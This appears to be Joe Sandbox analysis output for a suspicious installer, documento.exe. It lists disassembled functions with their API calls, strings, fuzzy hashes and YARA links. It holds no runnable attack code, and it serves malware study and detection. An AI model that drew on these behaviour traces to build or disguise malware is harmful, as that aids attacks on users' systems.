Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\documento.exe"$(B$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3729200865
Opcode ID: 76fae8bbb7bc2a2dd328f8ab0c889fa2fda85575c1e0b5dccef8fc518a416506
Instruction ID: 8f0c06671bf428c0f48d088e48fc2575de732930cf6b83f410cedc31bee7f7b4
Opcode Fuzzy Hash: 76fae8bbb7bc2a2dd328f8ab0c889fa2fda85575c1e0b5dccef8fc518a416506
Instruction Fuzzy Hash: 2051D330800A04BADB21AB618D45BBF7BB8DF82714F54457BF445721D2C73C4982DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040402B Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040B6
GetDlgItem.USER32(00000000,000003E8), ref: 004040CA
SendMessageA.USER32 ref: 004040E8
GetSysColor.USER32 ref: 004040F9
SendMessageA.USER32 ref: 00404108
SendMessageA.USER32 ref: 00404117
lstrlenA.KERNEL32(?), ref: 0040411A
SendMessageA.USER32 ref: 00404129
SendMessageA.USER32 ref: 0040413E
GetDlgItem.USER32(?,0000040A), ref: 004041A0
SendMessageA.USER32 ref: 004041A3
GetDlgItem.USER32(?,000003E8), ref: 004041CE
SendMessageA.USER32 ref: 0040420E
LoadCursorA.USER32 ref: 0040421D
SetCursor.USER32(00000000), ref: 00404226
ShellExecuteA.SHELL32(0000070B,open,004226C0,00000000,00000000,00000001), ref: 00404239
LoadCursorA.USER32 ref: 00404246
SetCursor.USER32(00000000), ref: 00404249
SendMessageA.USER32 ref: 00404275
SendMessageA.USER32 ref: 00404289

Strings

.1, xrefs: 0040404B
N, xrefs: 004041BC
open, xrefs: 00404231
: Completed, xrefs: 004041F9

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: : Completed$N$open$.1
API String ID: 3615053054-1848776308
Opcode ID: 42e76c6f9001a471086f2110f9b209c176cf8913a74361ede291af8c06ceb81d
Instruction ID: 13510805d6fd3d88b19762a43a0fb8d51a409b78b81c3afae21fa77130ec6155
Opcode Fuzzy Hash: 42e76c6f9001a471086f2110f9b209c176cf8913a74361ede291af8c06ceb81d
Instruction Fuzzy Hash: 8A61B4B1A40205BFEB109F61DC45F6A7B69FB44751F10807AFB04BA2D1C7B8A951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 40f8494239657d2e8864ccd35a5b2a20f251cf82d96748e84493e10ba4ff4366
Instruction ID: 162af80c0e370fc685607c2eff3bc6c1c184a7d325dd4572e54487cb40a4b06a
Opcode Fuzzy Hash: 40f8494239657d2e8864ccd35a5b2a20f251cf82d96748e84493e10ba4ff4366
Instruction Fuzzy Hash: 67419B71804249AFCF058FA4CD459AFBBB9FF44310F00812AF551AA1A0C738EA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405A46 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421AB0,NUL,?,00000000,?,00000000,00405BD9,?,?), ref: 00405A55
CloseHandle.KERNEL32(00000000), ref: 00405A79
GetShortPathNameA.KERNEL32 ref: 00405A82

Part of subcall function 004058D5: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058E5
Part of subcall function 004058D5: lstrlenA.KERNEL32(00000000,?,00000000,00405B32,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917

GetShortPathNameA.KERNEL32 ref: 00405A9F
wsprintfA.USER32 ref: 00405ABD
GetFileSize.KERNEL32(00000000,00000000,00421EB0,C0000000,00000004,00421EB0,?,?,?,?,?), ref: 00405AF8
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405B07
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B3F
SetFilePointer.KERNEL32(004093C8,00000000,00000000,00000000,00000000,004216B0,00000000,-0000000A,004093C8,00000000,[Rename],00000000,00000000,00000000), ref: 00405B95
GlobalFree.KERNEL32(00000000), ref: 00405BA6
CloseHandle.KERNEL32(00000000), ref: 00405BAD

Part of subcall function 00405970: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\documento.exe,80000000,00000003), ref: 00405974
Part of subcall function 00405970: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405996

Strings

%s=%s, xrefs: 00405AB3
[Rename], xrefs: 00405B27, 00405B39
NUL, xrefs: 00405A4F

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: b91d4fce54392df2e97de7bc6d207c8acd76fc29859b80508349f43d92bd930d
Instruction ID: ba38e0c37d2c4a0677a1b8c3a3e2c5b81f52bfc6e6322859571237bcba2cc6eb
Opcode Fuzzy Hash: b91d4fce54392df2e97de7bc6d207c8acd76fc29859b80508349f43d92bd930d
Instruction Fuzzy Hash: E5310271A05A19ABD2202B219C49F6B3AACDF45754F14043AFD01B62D2D6BCBD018EBD

Uniqueness

Uniqueness Score: -1.00%

Function 00405F68 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?), ref: 00405FC0
CharNextA.USER32(?), ref: 00405FCD
CharNextA.USER32(?), ref: 00405FD2
CharPrevA.USER32(?,?), ref: 00405FE2

Strings

"C:\Users\user\Desktop\documento.exe", xrefs: 00405FA4
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F69
*?|<>/":, xrefs: 00405FB0

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\documento.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-199968148
Opcode ID: 630e707e10dd61a13617e1da554c627d06d49c30f7de44bbd37dfc38f3dae12c
Instruction ID: ae1ae60f73f04b2279d28dd2d3a2e9c8876d1ac92d72727c270a9fd7cf783979
Opcode Fuzzy Hash: 630e707e10dd61a13617e1da554c627d06d49c30f7de44bbd37dfc38f3dae12c
Instruction Fuzzy Hash: 75119451908B932DEB3216254C44BBB7F99CF56760F18047BE9C4722C2D6BC9C429B7D

Uniqueness

Uniqueness Score: -1.00%

Function 004053DC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040541F
GetLastError.KERNEL32 ref: 00405433
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405448
GetLastError.KERNEL32 ref: 00405452

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405402
C:\Users\user\Desktop, xrefs: 004053DC
,s@, xrefs: 004053E2

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: ,s@$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-2910368180
Opcode ID: c1937cb38bbd103373e168b49ea038f7d2b8a7083c118a1d29bd15b4f0e45592
Instruction ID: 949b07086bfbcc12ad21f83970ad7e8279e58ae06bb45438fc5c1603e332b0fc
Opcode Fuzzy Hash: c1937cb38bbd103373e168b49ea038f7d2b8a7083c118a1d29bd15b4f0e45592
Instruction Fuzzy Hash: 2D010871D14259EADF119BA0DD447EFBFB8EB04355F004176E904B6181E3789648CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00403F49 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F66
GetSysColor.USER32 ref: 00403F82
SetTextColor.GDI32(?,00000000), ref: 00403F8E
SetBkMode.GDI32(?,?), ref: 00403F9A
GetSysColor.USER32 ref: 00403FAD
SetBkColor.GDI32(?,?), ref: 00403FBD
DeleteObject.GDI32(?), ref: 00403FD7
CreateBrushIndirect.GDI32(?), ref: 00403FE1

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 43ad35625e8825ecd6a842b2a86c8fc2a15ebd27dc521d874f6abe6132d0b03d
Instruction ID: 69fcdb6fe5d9844d1d3a4f02655feb6370c96159658ebf8fe0858d801e39bc44
Opcode Fuzzy Hash: 43ad35625e8825ecd6a842b2a86c8fc2a15ebd27dc521d874f6abe6132d0b03d
Instruction Fuzzy Hash: 5A215471904705ABCB219F78DD48F4BBFF8AF01715B048A29F895E22E0D735EA04CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004047E1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 004047FC
GetMessagePos.USER32 ref: 00404804
ScreenToClient.USER32(?,?), ref: 0040481E
SendMessageA.USER32 ref: 00404830
SendMessageA.USER32 ref: 00404856

Strings

f, xrefs: 00404832

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 31ce9a4f4114cdac1c56cc6e6a7041e0723a6b64a621d03b111e890c65b63bdb
Instruction ID: 4b27695e280e242887da12c7cc5754773637cab379b52992c14d440b6ab19931
Opcode Fuzzy Hash: 31ce9a4f4114cdac1c56cc6e6a7041e0723a6b64a621d03b111e890c65b63bdb
Instruction Fuzzy Hash: 4C018C76D00218BADB00EB94DC81BEFBBBCAB55711F10412BBA10B62C0C2B4A9018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B9A
MulDiv.KERNEL32 ref: 00402BC5
wsprintfA.USER32 ref: 00402BD5
SetWindowTextA.USER32(?,?), ref: 00402BE5
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7

Strings

verifying installer: %d%%, xrefs: 00402BCF

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 0d9b77ec04c6300f2d1780336694ac6641750b272a9ea37e1e8171e8723cd637
Instruction ID: 2606314667324be55f41e30219fef3bc9394611b5aff82d746d43452e3b9cc2b
Opcode Fuzzy Hash: 0d9b77ec04c6300f2d1780336694ac6641750b272a9ea37e1e8171e8723cd637
Instruction Fuzzy Hash: 9901FF71540208BBEF109F60DD0AFEE3BB9EB04305F008039FA16B51E1D7B9A955DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401D38 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D3B
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
MulDiv.KERNEL32 ref: 00401D57
ReleaseDC.USER32(?,00000000), ref: 00401D68
CreateFontIndirectA.GDI32(0040A808), ref: 00401DB3

Strings

Times New Roman, xrefs: 00401D99

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: 405e53858b96f349ff943583813b342f0df48d702d6f0c4f2847402c23a08874
Instruction ID: 9e7a7182ae9254896fc63aeedc32ca6a3ce3e3ef4d7c41cc1e10fd7b3e73fcff
Opcode Fuzzy Hash: 405e53858b96f349ff943583813b342f0df48d702d6f0c4f2847402c23a08874
Instruction Fuzzy Hash: 59016232944340AFE7016B70AE5EBA93FA89795305F10C475F201B62E2C57801569F7F

Uniqueness

Uniqueness Score: -1.00%

Function 004026C6 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040271A
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402736
GlobalFree.KERNEL32(?), ref: 0040276F
GlobalFree.KERNEL32(00000000), ref: 00402782
CloseHandle.KERNEL32(?), ref: 0040279A
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027AE

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: d27e6dee6e6f4e82c87f401b93c2f0eecd5ac49d2b8bb9bf004f164279e6a16c
Instruction ID: c72a82ba9ad54cd79da2f6af8e35d97bfd0db4c8549b0f23667d21b619a0d1b1
Opcode Fuzzy Hash: d27e6dee6e6f4e82c87f401b93c2f0eecd5ac49d2b8bb9bf004f164279e6a16c
Instruction Fuzzy Hash: 9E215C71C01124BBCF216FA5DE89EAEBA79EF05324F10423AF910762E1C7794D418FA9

Uniqueness

Uniqueness Score: -1.00%

Function 004046D7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Fortrstningsfuldere7 Setup: Completed,Fortrstningsfuldere7 Setup: Completed,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004045F2,000000DF,00000000,00000400,?), ref: 00404775
wsprintfA.USER32 ref: 0040477D
SetDlgItemTextA.USER32(?,Fortrstningsfuldere7 Setup: Completed), ref: 00404790

Strings

Fortrstningsfuldere7 Setup: Completed, xrefs: 00404767, 0040476C, 00404772, 00404786
%u.%u%s%s, xrefs: 0040475F

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Fortrstningsfuldere7 Setup: Completed
API String ID: 3540041739-932649381
Opcode ID: 2d636fce24791288b272f48c44559ee7df443eeeabb6113edb092f8abbd0bf81
Instruction ID: fde7fbcda73e06f71546803af61accc205d2577e4f834e35a140aa318663f7c1
Opcode Fuzzy Hash: 2d636fce24791288b272f48c44559ee7df443eeeabb6113edb092f8abbd0bf81
Instruction Fuzzy Hash: 3411E773A0412877DB10666D9C45EAF3288DB86374F254237FA26F31D1EA788C1281F8

Uniqueness

Uniqueness Score: -1.00%

Function 00403942 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,00422F20), ref: 004039DA

Strings

Fortrstningsfuldere7 Setup: Completed, xrefs: 00403945
"C:\Users\user\Desktop\documento.exe", xrefs: 00403943
.1, xrefs: 004039B7
1033, xrefs: 00403946, 00403950, 004039C1

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
